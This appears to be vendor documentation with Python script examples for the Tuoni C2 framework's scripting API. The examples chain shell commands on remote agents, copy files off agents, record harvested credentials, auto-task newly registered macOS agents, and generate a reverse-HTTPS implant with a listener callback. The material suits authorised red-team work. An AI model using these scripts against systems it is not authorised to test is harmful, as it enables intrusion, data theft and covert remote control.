Script Engine Examples

These examples use the Tuoni 0.15.0 tuoni_script_engine API and explicit configuration objects. Install the published stubs in your editor environment to check changes before copying a script to the server.

Chain two commands

This dynamic alias runs two shell commands and combines their output.

import tuoni_script_engine as tse


def result_text(command, key="STDOUT"):
    if command.result is None:
        return ""
    value = command.result.entries.get(key, "")
    return value if isinstance(value, str) else str(value)


class HelloByeAlias:
    name = "hello-bye"

    def configuration_schema(self):
        return """{
            "$schema": "https://json-schema.org/draft/2020-12/schema",
            "type": "object",
            "properties": {},
            "required": []
        }"""

    def can_send_to_agent(self, agent):
        return agent.metadata.operating_system in {
            tse.OperatingSystem.LINUX,
            tse.OperatingSystem.BSD,
            tse.OperatingSystem.MAC,
        }

    def validate_config(self, config, agent):
        pass

    def execute(self, ctx, config, agent):
        outputs = []

        for shell_command in ("echo hello", "echo goodbye"):
            command = ctx.queue_command(
                "sh",
                tse.JsonConfiguration({"command": shell_command}),
            )
            command.wait_for_completion()

            if not command.is_success():
                message = (
                    command.result.error_message
                    if command.result is not None
                    else "The child command returned no result"
                )
                ctx.fail(message or "The child command failed")
                return

            outputs.append(result_text(command))

        ctx.set_result({"STDOUT": "\n".join(outputs)})
        ctx.finish()


tse.commands.register_dynamic_alias(HelloByeAlias())

Update agent metadata

This alias adds a user-supplied tag without mutating the read-only custom_properties mapping.

import tuoni_script_engine as tse


def json_values(config):
    if isinstance(config, tse.JsonConfiguration):
        return config.to_dict()
    if isinstance(config, tse.MultipartConfiguration) and config.json is not None:
        return config.json.to_dict()
    return {}


class TagAlias:
    name = "tag-agent"

    def configuration_schema(self):
        return """{
            "$schema": "https://json-schema.org/draft/2020-12/schema",
            "type": "object",
            "properties": {
                "tag": {"type": "string", "minLength": 1}
            },
            "required": ["tag"],
            "positional": {
                "tag": {"position": 0, "required": true}
            }
        }"""

    def can_send_to_agent(self, agent):
        return True

    def validate_config(self, config, agent):
        tag = json_values(config).get("tag")
        if not isinstance(tag, str) or not tag.strip():
            raise tse.ValidationError("tag must be a non-empty string")

    def execute(self, ctx, config, agent):
        tag = str(json_values(config)["tag"]).strip()
        current = agent.metadata.custom_properties.get("tags", [])
        tags = [str(item) for item in current] if isinstance(current, list) else []

        if tag not in tags:
            tags.append(tag)
            agent.metadata.update_custom_properties({"tags": tags})

        ctx.set_result({"STDOUT": f"Tags: {', '.join(tags)}"})
        ctx.finish()


tse.commands.register_dynamic_alias(TagAlias())

Download and upload a file

The returned tse.File can be passed directly into a multipart configuration; its contents do not need to be downloaded to the script and uploaded again.

import tuoni_script_engine as tse


def json_values(config):
    if isinstance(config, tse.JsonConfiguration):
        return config.to_dict()
    if isinstance(config, tse.MultipartConfiguration) and config.json is not None:
        return config.json.to_dict()
    return {}


class CopyThroughServerAlias:
    name = "copy-through-server"

    def configuration_schema(self):
        return """{
            "$schema": "https://json-schema.org/draft/2020-12/schema",
            "type": "object",
            "properties": {
                "source": {"type": "string", "minLength": 1},
                "destination": {"type": "string", "minLength": 1}
            },
            "required": ["source", "destination"],
            "positional": {
                "source": {"position": 0, "required": true},
                "destination": {"position": 1, "required": true}
            }
        }"""

    def can_send_to_agent(self, agent):
        return agent.type is tse.AgentType.SHELLCODE_AGENT

    def validate_config(self, config, agent):
        values = json_values(config)
        if not values.get("source") or not values.get("destination"):
            raise tse.ValidationError("source and destination are required")

    def execute(self, ctx, config, agent):
        values = json_values(config)
        source = str(values["source"])
        destination = str(values["destination"])

        download = ctx.queue_command(
            "download",
            tse.JsonConfiguration({"filepath": source}),
        )
        download.wait_for_completion()

        if not download.is_success() or download.result is None:
            message = (
                download.result.error_message
                if download.result is not None
                else "Download returned no result"
            )
            ctx.fail(message or "Download failed")
            return

        downloaded_files = [
            value
            for value in download.result.entries.values()
            if isinstance(value, tse.File)
        ]
        if not downloaded_files:
            ctx.fail("Download returned no file")
            return

        downloaded_file = downloaded_files[0]
        upload = ctx.queue_command(
            "upload",
            tse.MultipartConfiguration(
                json={"filepath": destination},
                files={"file": downloaded_file},
            ),
        )
        upload.wait_for_completion()

        if not upload.is_success():
            message = (
                upload.result.error_message
                if upload.result is not None
                else "Upload returned no result"
            )
            ctx.fail(message or "Upload failed")
            return

        ctx.set_result({
            "STDOUT": f"Copied {source} to {destination}",
            downloaded_file.name: downloaded_file,
        })
        ctx.finish()


tse.commands.register_dynamic_alias(CopyThroughServerAlias())

Add discovery records

Discovery create() methods return an existing matching record unchanged or create a new one.

import tuoni_script_engine as tse


host = tse.discovery.hosts.create(
    "192.168.56.10",
    name="web-server",
    note="Imported by inventory.py",
)

service = tse.discovery.services.create(
    host.address,
    443,
    protocol="tcp",
    banner="HTTPS",
    note="Imported by inventory.py",
)

credential = tse.discovery.credentials.create(
    "service-account",
    "replace-me",
    host=host.address,
    source="inventory.py",
)

print(host.id, service.id, credential.id)

React to new macOS agents

An event callback receives a sequence of agents. This example marks new macOS agents and sends ps directly through the global command manager.

import tuoni_script_engine as tse


def on_registered_agents(event, agents):
    for agent in agents:
        if agent.metadata.operating_system is not tse.OperatingSystem.MAC:
            continue

        agent.metadata.update_custom_properties({
            "platform_reviewed": True,
            "registration_event": str(event.id),
        })

        command = tse.commands.queue_command(
            agent.guid,
            "ps",
            tse.JsonConfiguration({}),
        )
        command.wait_for_completion()

        if command.is_success() and command.result is not None:
            print(f"Processes for {agent.guid}: {command.result.entries}")
        elif command.result is not None:
            print(command.result.error_message or "Process listing failed")


task = tse.events.subscribe_by_event_type(
    tse.EventType.REGISTER_AGENT,
    on_registered_agents,
)

The active task keeps the script running. Calling task.stop() unregisters the callback and allows the script to finish when it has no other background tasks.

Generate a payload

Use the manager objects and explicit configuration values for higher-level automation:

import tuoni_script_engine as tse


listener = tse.listeners.create(
    "shelldot.listener.agent-reverse-http",
    tse.JsonConfiguration({
        "port": 8443,
        "https": True,
        "getUri": "/updates",
        "postUri": "/submit",
        "metadataCookieName": "SESSION",
        "metadataPrefix": "",
        "metadataSuffix": "",
        "httpCallbacks": [{
            "hosts": ["192.168.56.1"],
            "sleep": 10,
            "sleepRandom": 3,
            "hostHeaders": [],
        }],
    }),
    name="scripted-http",
)

payload = tse.payloads.create(
    "shelldot.payload.mac-arm64",
    tse.JsonConfiguration({
        "type": "EXECUTABLE",
        "initialWait": 0,
        "paddingSize": 0,
    }),
    listener,
    name="scripted-macos-arm64",
)

payload_bytes = payload.generate()
print(f"Generated {len(payload_bytes)} bytes")

Use environment-specific listener addresses, encryption settings, and payload options in operational scripts.